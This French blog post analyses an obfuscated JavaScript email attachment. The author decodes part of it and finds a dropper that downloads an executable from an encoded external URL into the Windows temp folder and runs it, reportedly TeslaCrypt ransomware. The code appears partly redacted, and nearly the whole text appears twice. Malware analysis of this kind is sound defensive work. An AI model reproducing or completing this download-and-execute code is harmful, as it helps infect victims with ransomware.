Autopsie d'un malware en Javascript
Cette semaine, un de mes collègues a reçu un e-mail contenant un fichier "SCANNED IMAGES.zip". Ne connaissant pas l'expéditeur, il m'a demandé s'il pouvait ouvrir ce fichier sans risque ou s'il devait le supprimer.
Curieux de voir de quoi il s'agissait, je lui ai demandé de me forwarder ce message.
Une fois le fichier ZIP attaché sauvegardé, j'ai tout d'abord examiné son contenu avec 7Zip, sans le décompresser.
L'archive contenait un seul fichier, baptisé YY9861891780.js.
Par sécurité et pour éviter un double-clic fatal, j'ai renommé le fichier en .txt avant de l'extraire.
Une fois, ouvert dans Notepad++, j'ai constaté qu'il s'agissait d'un fichier Javascript minifié dont une grande partie du contenu avait été rendu illisible en remplaçant chaque caractère par son code UTF-8, à l'aide d'une séquence d'échappement:
var uczNW= this['\u0041\u0063ti\u0076\u0065\u0058O\u0062j\u0065ct'];
var ptlPb = new uczNW('WS\u0063\u0072ip\u0074\u002E\u0053h\u0065l\u006C');
var wDghW = ptlPb['\u0045\u0078p\u0061\u006EdE\u006E\u0076\u0069\u0072\u006F\u006Em\u0065\u006Et\u0053\u0074ri\u006E\u0067\u0073']('\u0025\u0054\u0045\u004DP%') + '/R\u0068\u0049\u0044\u0075v\u007AeD\u002E\u0065xe';
var JRIkbkkHy = new uczNW('\u004D\u0053\u0058\u004D\u004C\u0032\u002E\u0058M\u004C\u0048T\u0054\u0050');
JRIkbkkHy['\u006F\u006E\u0072\u0065a\u0064y\u0073t\u0061tec\u0068\u0061\u006Eg\u0065'] = function() {
if (JRIkbkkHy['\u0072\u0065ady\u0073ta\u0074\u0065'] === 4) {
var OVXCRA = new uczNW('\u0041D\u004F\u0044\u0042.Stre\u0061\u006D');
OVXCRA['\u006Fp\u0065n']();
OVXCRA['t\u0079p\u0065'] = 1;
OVXCRA['wr\u0069t\u0065'](JRIkbkkHy['R\u0065\u0073p\u006F\u006E\u0073e\u0042\u006F\u0064\u0079']);
OVXCRA['\u0070\u006Fs\u0069ti\u006F\u006E'] = 0;
OVXCRA['\u0073\u0061\u0076\u0065\u0054o\u0046i\u006C\u0065'](wDghW, 2);
OVXCRA['\u0063\u006Co\u0073e']();
...
...
'\u0068\u0074\u0074\u0070\u003A\u002F\u002F\u006B\u0061\u0072\u0074\u006F\u006E\u0073\u0074\u0061\u006E\u0064\u0061\u006D\u0062\u0061\u006C\u0061j\u002E\u0063\u006F\u006D\u002E\u0074\u0072\u002F\u0073\u0079\u0073\u0074\u0065\u006D\u002F\u006C\u006Fg\u0073\u002F\u0038\u0037\u0068\u0037\u0035\u0034', false);
JRIkbkkHy['\u0073\u0065nd']();
ptlPb [KekAVo](wDghW, 1, false);
} catch (ajg9ggxFs) {};
J'ai volontairement effacé une partie du code ci-dessus pour ne pas influencer d'autres petits malins.
Pas très lisible en effet. Je me mets donc à la recherche d'un outil en ligne pour décoder l'UTF-8. Celui-ci fait rapidement l'affaire:
http://unicode.online-toolz.com/tools/text-unicode-entities-convertor.php
Je commence par décoder la première chaîne de caractères:
\u0041\u0063ti\u0076\u0065\u0058O\u0062j\u0065ct
Et j'obtiens ceci:
ActiveXObject
Bon, première bonne nouvelle. Il n'y a que Internet Explorer qui supporte les ActiveX et tout le monde travaille avec Chrome et Firefox dans mon entreprise.
Passons à la seconde chaîne de caractères:
\u0063\u0072ip\u0074\u002E\u0053h\u0065l\u006C
Avec le texte WS devant, on obtient le nom du composant ActiveX que le malware essaie d'instancier:
WScript.Shell
OK, pas besoin d'aller plus loin. Vous pouvez vous amuser vous-mêmes à décoder les chaînes suivantes.
Notre ami le pirate s'amuse à récupérer le chemin du répertoire temporaire de Windows. Il instancie après le composant MSXML2.XMLHTTP pour pouvoir commencer à télécharger des joyeusetés dans ce dossier. Tiens, il passe même par un objet ADODBStream.
Cerise sur le gateau, devinez le but du fichier téléchargé? Un joli ransomware au doux nom de TeslaCrypt (https://en.wikipedia.org/wiki/TeslaCrypt).
Curieux de voir de quoi il s'agissait, je lui ai demandé de me forwarder ce message.
Une fois le fichier ZIP attaché sauvegardé, j'ai tout d'abord examiné son contenu avec 7Zip, sans le décompresser.
L'archive contenait un seul fichier, baptisé YY9861891780.js.
Par sécurité et pour éviter un double-clic fatal, j'ai renommé le fichier en .txt avant de l'extraire.
Une fois, ouvert dans Notepad++, j'ai constaté qu'il s'agissait d'un fichier Javascript minifié dont une grande partie du contenu avait été rendu illisible en remplaçant chaque caractère par son code UTF-8, à l'aide d'une séquence d'échappement:
var uczNW= this['\u0041\u0063ti\u0076\u0065\u0058O\u0062j\u0065ct'];
var ptlPb = new uczNW('WS\u0063\u0072ip\u0074\u002E\u0053h\u0065l\u006C');
var wDghW = ptlPb['\u0045\u0078p\u0061\u006EdE\u006E\u0076\u0069\u0072\u006F\u006Em\u0065\u006Et\u0053\u0074ri\u006E\u0067\u0073']('\u0025\u0054\u0045\u004DP%') + '/R\u0068\u0049\u0044\u0075v\u007AeD\u002E\u0065xe';
var JRIkbkkHy = new uczNW('\u004D\u0053\u0058\u004D\u004C\u0032\u002E\u0058M\u004C\u0048T\u0054\u0050');
JRIkbkkHy['\u006F\u006E\u0072\u0065a\u0064y\u0073t\u0061tec\u0068\u0061\u006Eg\u0065'] = function() {
if (JRIkbkkHy['\u0072\u0065ady\u0073ta\u0074\u0065'] === 4) {
var OVXCRA = new uczNW('\u0041D\u004F\u0044\u0042.Stre\u0061\u006D');
OVXCRA['\u006Fp\u0065n']();
OVXCRA['t\u0079p\u0065'] = 1;
OVXCRA['wr\u0069t\u0065'](JRIkbkkHy['R\u0065\u0073p\u006F\u006E\u0073e\u0042\u006F\u0064\u0079']);
OVXCRA['\u0070\u006Fs\u0069ti\u006F\u006E'] = 0;
OVXCRA['\u0073\u0061\u0076\u0065\u0054o\u0046i\u006C\u0065'](wDghW, 2);
OVXCRA['\u0063\u006Co\u0073e']();
...
...
'\u0068\u0074\u0074\u0070\u003A\u002F\u002F\u006B\u0061\u0072\u0074\u006F\u006E\u0073\u0074\u0061\u006E\u0064\u0061\u006D\u0062\u0061\u006C\u0061j\u002E\u0063\u006F\u006D\u002E\u0074\u0072\u002F\u0073\u0079\u0073\u0074\u0065\u006D\u002F\u006C\u006Fg\u0073\u002F\u0038\u0037\u0068\u0037\u0035\u0034', false);
JRIkbkkHy['\u0073\u0065nd']();
ptlPb [KekAVo](wDghW, 1, false);
} catch (ajg9ggxFs) {};
J'ai volontairement effacé une partie du code ci-dessus pour ne pas influencer d'autres petits malins.
Pas très lisible en effet. Je me mets donc à la recherche d'un outil en ligne pour décoder l'UTF-8. Celui-ci fait rapidement l'affaire:
http://unicode.online-toolz.com/tools/text-unicode-entities-convertor.php
Je commence par décoder la première chaîne de caractères:
\u0041\u0063ti\u0076\u0065\u0058O\u0062j\u0065ct
Et j'obtiens ceci:
ActiveXObject
Bon, première bonne nouvelle. Il n'y a que Internet Explorer qui supporte les ActiveX et tout le monde travaille avec Chrome et Firefox dans mon entreprise.
Passons à la seconde chaîne de caractères:
\u0063\u0072ip\u0074\u002E\u0053h\u0065l\u006C
Avec le texte WS devant, on obtient le nom du composant ActiveX que le malware essaie d'instancier:
WScript.Shell
OK, pas besoin d'aller plus loin. Vous pouvez vous amuser vous-mêmes à décoder les chaînes suivantes.
Notre ami le pirate s'amuse à récupérer le chemin du répertoire temporaire de Windows. Il instancie après le composant MSXML2.XMLHTTP pour pouvoir commencer à télécharger des joyeusetés dans ce dossier. Tiens, il passe même par un objet ADODBStream.
Cerise sur le gateau, devinez le but du fichier téléchargé? Un joli ransomware au doux nom de TeslaCrypt (https://en.wikipedia.org/wiki/TeslaCrypt).